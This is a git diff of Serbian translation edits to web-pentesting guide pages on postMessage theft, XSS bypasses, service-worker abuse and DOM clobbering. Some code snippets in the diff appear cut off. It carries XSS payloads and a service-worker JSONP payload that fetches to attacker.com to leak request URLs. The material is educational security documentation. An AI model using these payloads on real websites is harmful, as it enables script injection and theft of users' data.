prisiliti **`e.source`** poruke da bude null tako što ćete kreirati **iframe** koji **šalje** **postMessage** i koji je **odmah obrisan**. +Možete prisiliti **`e.source`** poruke da bude null kreiranjem **iframe** koji **šalje** **postMessage** i koji je **odmah obrisan**. Za više informacija **pročitajte:** @@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000); ``` ### Krađa poruke poslata detetu blokiranjem glavne stranice -Na sledećoj stranici možete videti kako možete ukrasti **osetljive postmessage podatke** poslata **child iframe** blokiranjem **glavne** stranice pre slanja podataka i zloupotrebom **XSS u detetu** da **ukrade podatke** pre nego što budu primljeni: +Na sledećoj stranici možete videti kako možete ukrasti **osetljive postmessage podatke** poslata **detetu iframe** blokiranjem **glavne** stranice pre slanja podataka i zloupotrebom **XSS u detetu** da **ukrade podatke** pre nego što budu primljeni: {{#ref}} blocking-main-page-to-steal-postmessage.md @@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md ### Krađa poruke modifikovanjem lokacije iframe-a -Ako možete iframe-ovati veb stranicu bez X-Frame-Header koja sadrži drugi iframe, možete **promeniti lokaciju tog child iframe-a**, tako da ako prima **postmessage** poslatu koristeći **wildcard**, napadač može **promeniti** tu iframe **izvor** na stranicu **koju kontroliše** i **ukrasti** poruku: +Ako možete iframe-ovati veb stranicu bez X-Frame-Header koja sadrži drugi iframe, možete **promeniti lokaciju tog deteta iframe**, tako da ako prima **postmessage** poslatu koristeći **wildcard**, napadač može **promeniti** tu iframe **izvor** na stranicu **koju kontroliše** i **ukrasti** poruku: {{#ref}} steal-postmessage-modifying-iframe-location.md diff --git a/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md b/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md index 46bb54833..42b68a9c0 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md +++ b/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md @@ -1,4 +1,4 @@ -# Blokiranje glavne stranice da bi se ukrao postmessage +# Blokiranje glavne stranice za krađu postmessage {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md b/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md index 976220d9f..3d6624ab0 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md +++ b/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md @@ -15,17 +15,17 @@ renderContainer.innerHTML = data.body } } ``` -Glavni problem je što glavna stranica koristi DomPurify za slanje `data.body`, tako da da biste poslali svoje vlastite html podatke tom kodu, morate **bypass** `e.origin !== window.origin`. +Glavni problem je što glavna stranica koristi DomPurify za slanje `data.body`, tako da da biste poslali svoje HTML podatke tom kodu, morate **zaobići** `e.origin !== window.origin`. Hajde da vidimo rešenje koje predlažu. -### SOP bypass 1 (e.origin === null) +### SOP zaobilaženje 1 (e.origin === null) -Kada je `//example.org` ugrađen u **sandboxed iframe**, tada će **origin** stranice biti **`null`**, tj. **`window.origin === null`**. Tako da jednostavno ugrađujući iframe putem ` ``` -Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da kodirate **payload** to **neće** **raditi**, ali možete **mešati ih unutar payload-a**. +Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da kodirate **payload**, to **neće** **raditi**, ali možete **mešati ih unutar payload-a**. **Korišćenje Hex i Octal kodiranja sa `javascript:`** @@ -373,7 +373,7 @@ Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` ( ``` -### Obrnuto nabbing taba +### Obrnuto navođenje taba ```javascript ...` tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju `javascript:` protokol. +U ovim slučajevima vaš **ulaz** će biti **reflektovan unutar JS koda** `.js` fajla ili između `` tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju `javascript:` protokol. ### Izbegavanje \ ``` -Napomena da u ovom primeru **nismo čak ni zatvorili jednostruki navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a da bi se razumele i izvršile ugrađene skripte se vrši tek kasnije. +Napomena da u ovom primeru **nismo ni zatvorili jednostruki navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a da bi se razumele i izvršile ugrađene skripte se vrši tek kasnije. ### Unutar JS koda @@ -752,7 +752,7 @@ Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnj ### Cookie XSS -Ako možete izazvati XSS slanjem payload-a unutar kolačića, ovo je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing: +Ako možete izazvati XSS slanjem payload-a unutar kolačića, to je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing: {{#ref}} ../hacking-with-cookies/cookie-tossing.md @@ -780,10 +780,10 @@ Možete proveriti da li su **reflektovane vrednosti** **unicode normalizovane** ```javascript ">"@x.y ``` -### Ruby-On-Rails zaobilaženje +### Ruby-On-Rails bypass -Zbog **RoR masovne dodele** citati se umetnu u HTML, a zatim se zaobilaženje ograničenja citata i dodatna polja (onfocus) mogu dodati unutar taga.\ -Primer forme ([iz ovog izveštaja](https://hackerone.com/reports/709336)), ako pošaljete payload: +Zbog **RoR masovne dodeljivanje** navodnici se ubacuju u HTML, a zatim se zaobilazi ograničenje navodnika i dodatna polja (onfocus) mogu biti dodata unutar taga.\ +Primer forme ([from this report](https://hackerone.com/reports/709336)), ako pošaljete payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` @@ -791,7 +791,7 @@ Par "Ključ","Vrednost" će biti vraćen ovako: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` -Zatim će biti umetnut onfocus atribut i XSS se dešava. +Zatim će biti umetnut atribut onfocus i doći će do XSS-a. ### Posebne kombinacije ```markup @@ -832,7 +832,7 @@ Poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno Location za ### Samo slova, brojevi i tačke -Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti** ograničen na te karaktere. [**Pročitajte ovaj deo ovog posta**](./#javascript-function) da biste saznali kako da zloupotrebite ovo ponašanje. +Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti** ograničeno na te karaktere. [**Pročitajte ovaj deo ovog posta**](./#javascript-function) da biste saznali kako da zloupotrebite ovo ponašanje. ### Validni ` ``` -Ovo ponašanje je korišćeno u [**ovoj analizi**](https://github.com/zwade/yaca/tree/master/solution) da se premapira biblioteka na eval kako bi se zloupotrebilo i moglo da izazove XSS. +Ovo ponašanje je korišćeno u [**ovoj analizi**](https://github.com/zwade/yaca/tree/master/solution) da se preusmeri biblioteka na eval kako bi se zloupotrebilo i moglo da izazove XSS. -- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcija je uglavnom namenjena rešavanju nekih problema uzrokovanih pre-renderovanjem. Radi ovako: +- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcija je uglavnom namenjena rešavanju nekih problema uzrokovanih prethodnim renderovanjem. Radi ovako: ```html ``` -U slučaju zloupotrebe ranjivog JSONP krajnje tačke, trebali biste staviti vrednost unutar `var sw`. Na primer: +U slučaju zloupotrebe ranjivog JSONP krajnjeg tačke, trebali biste staviti vrednost unutar `var sw`. Na primer: ```javascript var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//" ``` Postoji **C2** posvećen **iskorišćavanju Service Workers** pod nazivom [**Shadow Workers**](https://shadow-workers.github.io) koji će biti veoma koristan za zloupotrebu ovih ranjivosti. -**Direktiva keširanja od 24 sata** ograničava životni vek zlonamernog ili kompromitovanog **service worker-a (SW)** na najviše 24 sata nakon ispravke XSS ranjivosti, pod pretpostavkom online statusa klijenta. Da bi se minimizirala ranjivost, operateri sajtova mogu smanjiti TTL (Time-To-Live) SW skripte. Takođe, programerima se savetuje da kreiraju [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) za brzu deaktivaciju. +**Direktiva keširanja od 24 sata** ograničava životni vek zlonamernog ili kompromitovanog **service worker-a (SW)** na najviše 24 sata nakon ispravke XSS ranjivosti, pod pretpostavkom online statusa klijenta. Da bi se smanjila ranjivost, operateri sajtova mogu smanjiti TTL (Time-To-Live) SW skripte. Takođe, programerima se savetuje da kreiraju [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) za brzu deaktivaciju. ## Zloupotreba `importScripts` u SW putem DOM Clobbering-a @@ -82,7 +82,7 @@ self.importScripts(host + "/sw_extra.js") ``` ### Sa DOM Clobbering -Za više informacija o tome šta je DOM Clobbering proverite: +Za više informacija o tome šta je DOM Clobbering, proverite: {{#ref}} dom-clobbering.md @@ -90,7 +90,7 @@ dom-clobbering.md Ako je URL/domen koji SW koristi za pozivanje **`importScripts`** **unutar HTML elementa**, **moguće je modifikovati ga putem DOM Clobbering** da bi SW **učitao skriptu sa vašeg domena**. -Za primer ovog proverite referentnu vezu. +Za primer ovog, proverite referentnu vezu. ## Reference diff --git a/src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md b/src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md index 3b78b51aa..c7b8cd427 100644 --- a/src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md +++ b/src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md @@ -4,7 +4,7 @@ Više detalja [**u ovom izveštaju**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote). -Tehnika o kojoj se ovde govori uključuje razumevanje ponašanja i interakcije dva glavna tipa keša: **back/forward cache (bfcache)** i **disk cache**. Bfcache, koji čuva potpunu sliku stranice uključujući JavaScript heap, ima prioritet nad disk kešom za navigacije napred/nazad zbog svoje sposobnosti da čuva sveobuhvatniju sliku. Disk keš, s druge strane, čuva resurse preuzete sa veba bez uključivanja JavaScript heap-a, i koristi se za navigacije napred/nazad kako bi se smanjili troškovi komunikacije. Zanimljiv aspekt disk keša je njegovo uključivanje resursa preuzetih korišćenjem `fetch`, što znači da će resursi sa URL-a biti prikazani od strane pregledača iz keša. +Tehnika o kojoj se ovde govori uključuje razumevanje ponašanja i interakcije dva glavna tipa keša: **back/forward cache (bfcache)** i **disk cache**. Bfcache, koji čuva kompletnu sliku stranice uključujući JavaScript heap, ima prioritet nad disk kešom za navigacije napred/nazad zbog svoje sposobnosti da čuva sveobuhvatniju sliku. Disk keš, s druge strane, čuva resurse preuzete sa veba bez uključivanja JavaScript heap-a, i koristi se za navigacije napred/nazad kako bi se smanjili troškovi komunikacije. Zanimljiv aspekt disk keša je njegovo uključivanje resursa preuzetih korišćenjem `fetch`, što znači da će resursi sa URL-a biti prikazani od strane pregledača iz keša. ### Ključne tačke: @@ -13,7 +13,7 @@ Tehnika o kojoj se ovde govori uključuje razumevanje ponašanja i interakcije d ### Onemogućavanje bfcache: -Podrazumevano, Puppeteer onemogućava bfcache, u skladu sa uslovima navedenim u dokumentaciji Chromium-a. Jedna efikasna metoda za onemogućavanje bfcache je korišćenje `RelatedActiveContentsExist`, postignuto otvaranjem stranice sa `window.open()` koja zadržava referencu na `window.opener`. +Podrazumevano, Puppeteer onemogućava bfcache, u skladu sa uslovima navedenim u dokumentaciji Chromium-a. Jedan efikasan način da se onemogući bfcache je korišćenjem `RelatedActiveContentsExist`, što se postiže otvaranjem stranice sa `window.open()` koja zadržava referencu na `window.opener`. ### Reprodukcija ponašanja: @@ -24,6 +24,6 @@ Podrazumevano, Puppeteer onemogućava bfcache, u skladu sa uslovima navedenim u Verifikacija da je disk keš korišćen može se potvrditi korišćenjem DevTools u Google Chrome-u. -Za dalja objašnjenja o bfcache i disk kešu, reference se mogu naći na [web.dev o bfcache](https://web.dev/i18n/en/bfcache/) i [Chromium-ovim dizajn dokumentima o disk kešu](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/), redom. +Za dalja objašnjenja o bfcache i disk kešu, reference se mogu naći na [web.dev o bfcache](https://web.dev/i18n/en/bfcache/) i [Chromium-ovim dizajnerskim dokumentima o disk kešu](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/), redom. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md b/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md index dd87fc9ab..a12b04f8d 100644 --- a/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md +++ b/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md @@ -4,7 +4,7 @@ {{#include ../../banners/hacktricks-training.md}} -Debugging client side JS može biti problematično jer svaki put kada promenite URL (uključujući promenu u parametrima ili vrednostima parametara) morate **resetovati breakpoint i ponovo učitati stranicu**. +Debugging client side JS može biti mučno jer svaki put kada promenite URL (uključujući promenu u parametrima ili vrednostima parametara) morate **resetovati breakpoint i ponovo učitati stranicu**. ### `debugger;` diff --git a/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md b/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md index da17f4028..c6524f444 100644 --- a/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md +++ b/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md @@ -13,7 +13,7 @@ console.log(typeof document.x) //[object HTMLFormElement] ``` **Samo** određeni elementi mogu koristiti **name atribut** za klobiranje globalnih promenljivih, to su: `embed`, `form`, `iframe`, `image`, `img` i `object`. -Zanimljivo je da kada koristite **form element** za **klobiranje** promenljive, dobićete **`toString`** vrednost samog elementa: `[object HTMLFormElement]`, ali sa **anchor** **`toString`** će biti **`href`** ankera. Stoga, ako klobirate koristeći **`a`** tag, možete **kontrolisati** **vrednost** kada se **tretira kao string**: +Zanimljivo je da kada koristite **form element** za **klobiranje** promenljive, dobićete **`toString`** vrednost samog elementa: `[object HTMLFormElement]`, ali sa **anchor** **`toString`** će biti **`href`** anchor-a. Stoga, ako klobirate koristeći **`a`** tag, možete **kontrolisati** **vrednost** kada se **tretira kao string**: ```html ` taga sa identičnim id atributom. Evo kako to može da se uradi: ```html @@ -198,7 +198,7 @@ alert(document.getElementById("cdnDomain").innerText) // Clobbered ``` ## Clobbering Forms -Moguće je dodati **nove unose unutar forme** jednostavno tako što ćete **navesti `form` atribut** unutar nekih tagova. Možete to iskoristiti da **dodate nove vrednosti unutar forme** i čak dodate novi **dugme** za **slanje** (clickjacking ili zloupotreba nekog `.click()` JS koda): +Moguće je dodati **nove unose unutar forme** jednostavno tako što ćete **navesti `form` atribut** unutar nekih tagova. Možete to koristiti da **dodate nove vrednosti unutar forme** i čak dodate novi **dugme** za **slanje** (clickjacking ili zloupotreba nekog `.click()` JS koda): ```html